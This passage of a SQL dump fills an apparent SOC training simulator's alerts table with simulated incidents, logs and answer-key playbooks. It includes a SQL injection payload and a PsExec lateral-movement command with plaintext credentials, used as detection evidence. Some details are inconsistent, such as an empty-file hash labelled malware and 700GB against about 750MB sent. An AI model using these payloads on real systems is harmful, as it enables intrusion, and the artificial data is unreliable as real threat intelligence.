Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(832, 'Data Exfiltration and Encryption - Step 3', 'critical', 'Data flow monitoring', 'During the ongoing attack operation, an unauthorized data transfer was detected from the internal network to an external IP. 700GB of sensitive data was exfiltrated before ransomware encryption commenced. The attack was aimed at disrupting HSE\'s operations.', 'Data Exfiltration', 'T1020', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-20T14:23:45Z\",\"source_ip\":\"10.0.5.23\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"bytes_sent\":750000000,\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"confidential_data_export.zip\",\"username\":\"jdoe\",\"action\":\"data_transfer\",\"status\":\"Success\"}', '2026-01-13 01:56:44', '2026-02-16 17:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT data exfiltration activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash corresponds to a large archive potentially containing sensitive data.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_data_export.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"File name matches patterns of unauthorized data exfiltration.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Active employee with access to sensitive data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.491Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":750000000,\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"confidential_data_export.zip\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_transfer\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.491Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":750000000,\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"confidential_data_export.zip\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_transfer\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.491Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":750000000,\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"confidential_data_export.zip\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_transfer\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.491Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":750000000,\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"confidential_data_export.zip\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_transfer\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.491Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":750000000,\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"confidential_data_export.zip\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_transfer\\\",\\\"status\\\":\\\"Success\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(833, 'Critical Malware Execution Detected on Linux Server', 'critical', 'Syslog', 'A potentially malicious binary was executed on a Linux server. The file hash is associated with known malware.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T03:45:18Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"\",\"username\":\"webadmin\",\"hostname\":\"server01\",\"command_line\":\"/usr/bin/python3 /tmp/malicious_script.py\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-14 15:19:37', '2026-02-16 17:57:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"/usr/bin/python3 /tmp/malicious_script.py\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known Python-based malware script\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with multiple malware families\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The hash and command line execution are indicative of a malware infection. Immediate action is required.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.492Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T03:45:18Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /tmp/malicious_script.py\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.492Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T03:45:18Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /tmp/malicious_script.py\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.492Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T03:45:18Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /tmp/malicious_script.py\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.492Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T03:45:18Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /tmp/malicious_script.py\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.492Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T03:45:18Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /tmp/malicious_script.py\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(834, 'Potential Phishing Email Detected with Malicious URL', 'high', 'Proofpoint', 'An email was received containing a URL linked to a known phishing campaign.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-14T07:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"192.168.2.20\",\"username\":\"jdoe\",\"hostname\":\"user-pc\",\"email_sender\":\"info@fakebank.com\",\"url\":\"http://malicious-link.com/login\"}', '2026-01-14 15:19:37', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"info@fakebank.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Email domain spoofing legitimate banking services\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL involved in phishing attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email and URL are part of a well-known phishing campaign targeting financial services.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Potential Phishing Email Detected with Malicious URL\",\"date\":\"2026-02-01T20:32:22.494Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(835, 'Suspicious Internal Lateral Movement Detected via PSExec', 'medium', 'Wazuh', 'PSExec tool used for potential unauthorized lateral movement within the network.', 'Lateral Movement', 'T1077', 0, 'investigating', NULL, '{\"timestamp\":\"2026-01-14T09:10:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.20\",\"username\":\"admin\",\"hostname\":\"workstation02\",\"command_line\":\"psexec \\\\\\\\192.168.1.20 -u admin -p password cmd\"}', '2026-01-14 15:19:37', '2026-03-11 01:23:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\192.168.1.20 -u admin -p password cmd\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"PSExec usage is often associated with lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PSExec with admin credentials suggests unauthorized lateral movement.\"}', 'Intermediate', 'EDR', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.495Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:10:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"workstation02\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.495Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:10:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"workstation02\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.495Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:10:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"workstation02\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.495Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:10:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"workstation02\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.495Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:10:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"workstation02\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(836, 'Data Exfiltration Attempt via Suspicious External Connection', 'high', 'IDS/IPS', 'A connection was established to an external IP known for data exfiltration activities.', 'Data Exfil', 'T1048', 1, 'investigating', NULL, '{\"timestamp\":\"2026-01-14T12:22:11Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"198.51.100.10\",\"username\":\"nsmith\",\"hostname\":\"laptop01\"}', '2026-01-14 15:19:37', '2026-03-11 01:23:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple data exfiltration incidents\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP is known for data exfiltration, indicating a serious breach attempt.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.496Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:22:11Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"nsmith\\\",\\\"hostname\\\":\\\"laptop01\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.496Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:22:11Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"nsmith\\\",\\\"hostname\\\":\\\"laptop01\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.496Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:22:11Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"nsmith\\\",\\\"hostname\\\":\\\"laptop01\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.496Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:22:11Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"nsmith\\\",\\\"hostname\\\":\\\"laptop01\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.496Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:22:11Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"nsmith\\\",\\\"hostname\\\":\\\"laptop01\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(837, 'SQL Injection Attempt Detected on Web Server', 'critical', 'Linux Server', 'An SQL injection attempt was detected in a web request targeting the main web server.', 'Web Attack', 'T1190', 0, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T14:55:32Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.75\",\"dst_ip\":\"192.168.1.50\",\"username\":\"\",\"hostname\":\"web-server\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"url\":\"http://example.com/login\"}', '2026-01-14 15:19:37', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous SQL injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://example.com/login\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Potential target for SQL injection\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload is a classic SQL injection attempt, requiring immediate remediation.\"}', 'Intermediate', 'SIEM', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.497Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T14:55:32Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://example.com/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.497Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T14:55:32Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://example.com/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.497Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T14:55:32Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://example.com/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.497Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T14:55:32Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://example.com/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.497Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T14:55:32Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://example.com/login\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
